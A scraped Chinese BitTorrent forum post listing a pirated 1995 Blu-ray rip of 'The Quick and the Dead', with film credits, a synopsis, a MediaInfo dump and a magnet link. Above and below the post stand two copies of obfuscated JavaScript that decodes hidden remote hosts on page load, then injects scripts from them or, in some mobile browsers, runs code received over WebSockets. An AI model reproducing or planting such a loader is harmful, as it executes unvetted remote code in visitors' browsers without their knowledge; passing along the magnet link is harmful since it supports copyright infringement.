致命快感[中文字幕].The.Quick.and.the.Dead.1995.FRA.1080p.BluRay.x265.10bit.DTS 8.21GB

版主小s 26天前 514

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x68\x6e\x49\x43\x61\x57\x73\x53\x72\x45']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};

◎译 名 致命快感 / 风舞狂沙 / 凤舞狂沙

◎片 名 The Quick and the Dead

◎年 代 1995

◎产 地 美国 / 日本

◎类 别 动作 / 西部 / 冒险

◎语 言 英语

◎上映日期 1995-02-10(美国)

◎IMDb链接 https://www.imdb.com/title/tt0114214/

◎豆瓣评分 6.7/10 (5527人评价)

◎豆瓣链接 https://movie.douban.com/subject/1295773/

◎片 长 107 分钟

◎导 演 山姆·雷米 Sam Raimi (id:1027159)

◎编 剧 西蒙·摩尔 Simon Moore (id:1292423)

◎演 员 莎朗·斯通 Sharon Stone (id:1031822)

罗素·克劳 Russell Crowe (id:1016674)

吉恩·哈克曼 Gene Hackman (id:1004589)

莱昂纳多·迪卡普里奥 Leonardo DiCaprio (id:1041029)

托宾·贝尔 Tobin Bell (id:1025219)

伍迪·斯特罗德 Woody Strode (id:1025269)

帕特里克·马基 Patrick Markey (id:1291017)

埃里克·齐默尔曼 Eric Zimmerman (id:1375254)

Brian Stewart Brian Stewart (id:1311764)

帕特里季亚·冯·布兰登斯坦 Patrizia von Brandenstein (id:1300169)

朱迪安娜·马科夫斯基 Judianna Makovsky (id:1290783)

邦尼·帕克尔 Bunny Parker (id:1293970)

安妮·摩根 Anne Morgan (id:1292487)

Gary Liddiard Gary Liddiard (id:1290022)

保罗·勒布朗 Paul LeBlanc (id:1289615)

Loretta James-Demasi Loretta James-Demasi (id:1287577)

小弗雷德·C·布鲁 Fred C. Blau Jr. (id:1278788)

Lisa C. Satriano Lisa C. Satriano (id:1276451)

特里·伦纳德 Terry Leonard (id:1289809)

罗布·霍奇森 Rob Hodgson (id:1286743)

◎标 签 西部 / 美国 / 莱昂纳多·迪卡普里奥 / 动作 / LeonardoDiCaprio / 莎朗·斯通 / 美国电影 / 1995

◎简 介

美艳的神秘女郎爱伦(莎朗·斯通 Sharon Stone 饰)突然闯进美国西部一个充满暴力的小镇,为了一段不堪回首的回忆而开展复仇。在她到达小镇后不久,一位名叫科特的牧师(罗素·克劳 Russell Crowe 饰)也来到小镇。与此同时,蜂拥而至的神枪手们也从四面八方纷纷赶来。而让他们趋之若鹜的原因,是一场以巨额奖金为诱饵的枪击比赛。比赛只有一条规则,就是完全遵守大魔王赫罗德(吉恩·哈克曼 Gene Hackman 饰)的规则。赫罗德借此向镇民们征收大量税金。不仅如此,只手遮天、无恶不作的赫罗德更想通过这次枪击比赛,让高手们彼此厮杀,从而坐享渔翁之利。残酷的枪击比赛没有丝毫人性可言,半决赛中,赫罗德甚至亲手杀死了自己的儿子基德(莱昂纳多·迪卡普里奥 Leonardo DiCaprio 饰)。终于,一场扣人心弦的生死决斗在科特与赫罗德之间展开了。

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 226936399679007964851853882412323521181 (0xAABA5C5ADAA48578F9ED22ABED6B429D)

  4. Complete name : Th[email protected]BBQDDQ.COM.mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 8.21 GiB

  8. Duration : 1 h 47 min

  9. Overall bit rate : 10.9 Mb/s

  10. Encoded date : UTC 2021-11-04 15:24:39

  11. Writing application : mkvmerge v53.0.0 ('Fool's Gold') 64-bit

  12. Writing library : libebml v1.4.1 + libmatroska v1.6.2


  13. Video

  14. ID : 1

  15. Format : HEVC

  16. Format/Info : High Efficiency Video Coding

  17. Format profile : Main [email protected]@Main

  18. Codec ID : V_MPEGH/ISO/HEVC

  19. Duration : 1 h 47 min

  20. Bit rate : 9 314 kb/s

  21. Width : 1 920 pixels

  22. Height : 1 036 pixels

  23. Display aspect ratio : 1.85:1

  24. Frame rate mode : Constant

  25. Frame rate : 23.976 (24000/1001/53354) FPS

  26. Color space : YUV

  27. Chroma subsampling : 4:2:0

  28. Bit depth : 10 bits

  29. Bits/(Pixel*Frame) : 0.195

  30. Stream size : 7.01 GiB (85%)

  31. Writing library : x265 3.5+2-g2b25c9ba0+45:[Windows][GCC 10.2.0][64 bit] Yuuki 10bit+8bit+12bit

  32. Encoding settings : rc=crf / crf=19.0000 / qcomp=0.60 / qpstep=4 / stats-write=0 / stats-read=0 / no-lossless / no-cu-lossless / aq-mode=3 / aq-strength=0.80 / cbqpoffs=0 / crqpoffs=0 / ipratio=1.40 / pbratio=1.30 / psy-rd=2.00 / psy-rdoq=0.00 / deblock=0:0 / ref=6 / limit-refs=1 / no-limit-modes / bframes=8 / b-adapt=2 / bframe-bias=0 / b-pyramid / b-intra / weightp / weightb / min-keyint=24 / max-keyint=240 / rc-lookahead=24 / gop-lookahead=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / max-cu-size=64 / min-cu-size=8 / me=3 / subme=7 / merange=48 / rdoq-level=0 / rd=4 / rdpenalty=0 / dynamic-rd=0.00 / no-rd-refine / ----- / cutree / sao / no-rect / no-amp / no-open-gop / wpp / no-pmode / no-pme / no-psnr / no-ssim / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-tu-size=32 / tu-inter-depth=1 / tu-intra-depth=1 / limit-tu=0 / qg-size=32 / qpmax=69 / qpmin=0 / ----- / cpuid=533541111039 / frame-threads=5 / numa-pools=+ / log-level=2 / input-csp=1 / input-res=1920x1036 / interlace=0 / level-idc=0 / high-tier=1 / uhd-bd=0 / no-allow-non-conformance / no-repeat-headers / aud / no-hrd / info / hash=0 / no-temporal-layers / lookahead-slices=0 / no-splice / no-intra-refresh / no-ssim-rd / signhide / no-tskip / max-merge=3 / temporal-mvp / no-frame-dup / no-hme / no-analyze-src-pics / no-sao-non-deblock / selective-sao=4 / early-skip / rskip / no-fast-intra / no-tskip-fast / no-splitrd-skip / zone-count=0 / no-strict-cbr / no-rc-grain / no-const-vbv / sar=0 / overscan=0 / videoformat=5 / range=0 / colorprim=2 / transfer=2 / colormatrix=2 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / scenecut-aware-qp=0conformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0 / no-vbv-live-multi-pass

  33. Language : English

  34. Default : Yes

  35. Forced : No


  36. Audio

  37. ID : 2

  38. Format : DTS

  39. Format/Info : Digital Theater Systems

  40. Codec ID : A_DTS

  41. Duration : 1 h 47 min

  42. Bit rate mode : Constant

  43. Bit rate : 1 510 kb/s

  44. Channel(s) : 6 channels

  45. Channel layout : C L R Ls Rs LFE

  46. Sampling rate : 48.0 kHz

  47. Frame rate : 93.750 FPS (512 SPF)

  48. Bit depth : 24 bits

  49. Compression mode : Lossy

  50. Stream size : 1.14 GiB (14%)

  51. Language : French

  52. Default : Yes

  53. Forced : No


  54. Text #1

  55. ID : 3

  56. ID in the original source medium : 4620 (0x120C)

  57. Format : PGS

  58. Muxing mode : zlib

  59. Codec ID : S_HDMV/PGS

  60. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  61. Duration : 1 h 42 min

  62. Bit rate : 31.2 kb/s

  63. Count of elements : 1804

  64. Stream size : 22.9 MiB (0%)

  65. Language : Chinese

  66. Default : Yes

  67. Forced : No

  68. Original source medium : Blu-ray


  69. Text #2

  70. ID : 4

  71. ID in the original source medium : 4621 (0x120D)

  72. Format : PGS

  73. Muxing mode : zlib

  74. Codec ID : S_HDMV/PGS

  75. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  76. Duration : 1 h 42 min

  77. Bit rate : 31.4 kb/s

  78. Count of elements : 1804

  79. Stream size : 23.1 MiB (0%)

  80. Language : Chinese

  81. Default : No

  82. Forced : No

  83. Original source medium : Blu-ray


  84. Text #3

  85. ID : 5

  86. ID in the original source medium : 4622 (0x120E)

  87. Format : PGS

  88. Muxing mode : zlib

  89. Codec ID : S_HDMV/PGS

  90. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  91. Duration : 1 h 42 min

  92. Bit rate : 17.5 kb/s

  93. Count of elements : 1804

  94. Stream size : 12.8 MiB (0%)

  95. Language : Chinese

  96. Default : No

  97. Forced : No

  98. Original source medium : Blu-ray


  99. Text #4

  100. ID : 6

  101. ID in the original source medium : 4623 (0x120F)

  102. Format : PGS

  103. Muxing mode : zlib

  104. Codec ID : S_HDMV/PGS

  105. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  106. Duration : 1 h 42 min

  107. Bit rate : 17.7 kb/s

  108. Count of elements : 1804

  109. Stream size : 13.0 MiB (0%)

  110. Language : Chinese

  111. Default : No

  112. Forced : No

  113. Original source medium : Blu-ray


  114. Text #5

  115. ID : 7

  116. ID in the original source medium : 4613 (0x1205)

  117. Format : PGS

  118. Muxing mode : zlib

  119. Codec ID : S_HDMV/PGS

  120. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  121. Duration : 1 h 42 min

  122. Bit rate : 18.2 kb/s

  123. Count of elements : 1802

  124. Stream size : 13.3 MiB (0%)

  125. Language : Chinese

  126. Default : No

  127. Forced : No

  128. Original source medium : Blu-ray


  129. Text #6

  130. ID : 8

  131. ID in the original source medium : 4614 (0x1206)

  132. Format : PGS

  133. Muxing mode : zlib

  134. Codec ID : S_HDMV/PGS

  135. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  136. Duration : 1 h 42 min

  137. Bit rate : 19.0 kb/s

  138. Count of elements : 1802

  139. Stream size : 13.9 MiB (0%)

  140. Language : Chinese

  141. Default : No

  142. Forced : No

  143. Original source medium : Blu-ray


  144. Text #7

  145. ID : 9

  146. ID in the original source medium : 4619 (0x120B)

  147. Format : PGS

  148. Muxing mode : zlib

  149. Codec ID : S_HDMV/PGS

  150. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  151. Duration : 1 h 42 min

  152. Bit rate : 21.6 kb/s

  153. Count of elements : 1766

  154. Stream size : 15.8 MiB (0%)

  155. Language : English

  156. Default : No

  157. Forced : No

  158. Original source medium : Blu-ray


  159. Menu

  160. 00:00:00.000 : en:第 01 章

  161. 00:07:20.314 : en:第 02 章

  162. 00:15:25.174 : en:第 03 章

  163. 00:20:39.529 : en:第 04 章

  164. 00:28:14.150 : en:第 05 章

  165. 00:34:40.620 : en:第 06 章

  166. 00:40:48.904 : en:第 07 章

  167. 00:47:40.357 : en:第 08 章

  168. 00:53:18.945 : en:第 09 章

  169. 00:59:50.753 : en:第 10 章

  170. 01:06:26.565 : en:第 11 章

  171. 01:12:24.923 : en:第 12 章

  172. 01:16:25.330 : en:第 13 章

  173. 01:24:02.620 : en:第 14 章

  174. 01:33:44.243 : en:第 15 章

  175. 01:38:36.285 : en:第 16 章




复制代码


TAGS 动作 冒险 西部

磁力链:
  • magnet:?xt=urn:btih:5B5DDF04D56EE0673877EBB3466A544235CFD5D2

上传的附件:
BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。
最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回
发新帖
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNg==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x59\x72\x72\x51\x4e\x72\x4a\x5a\x7a\x42']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};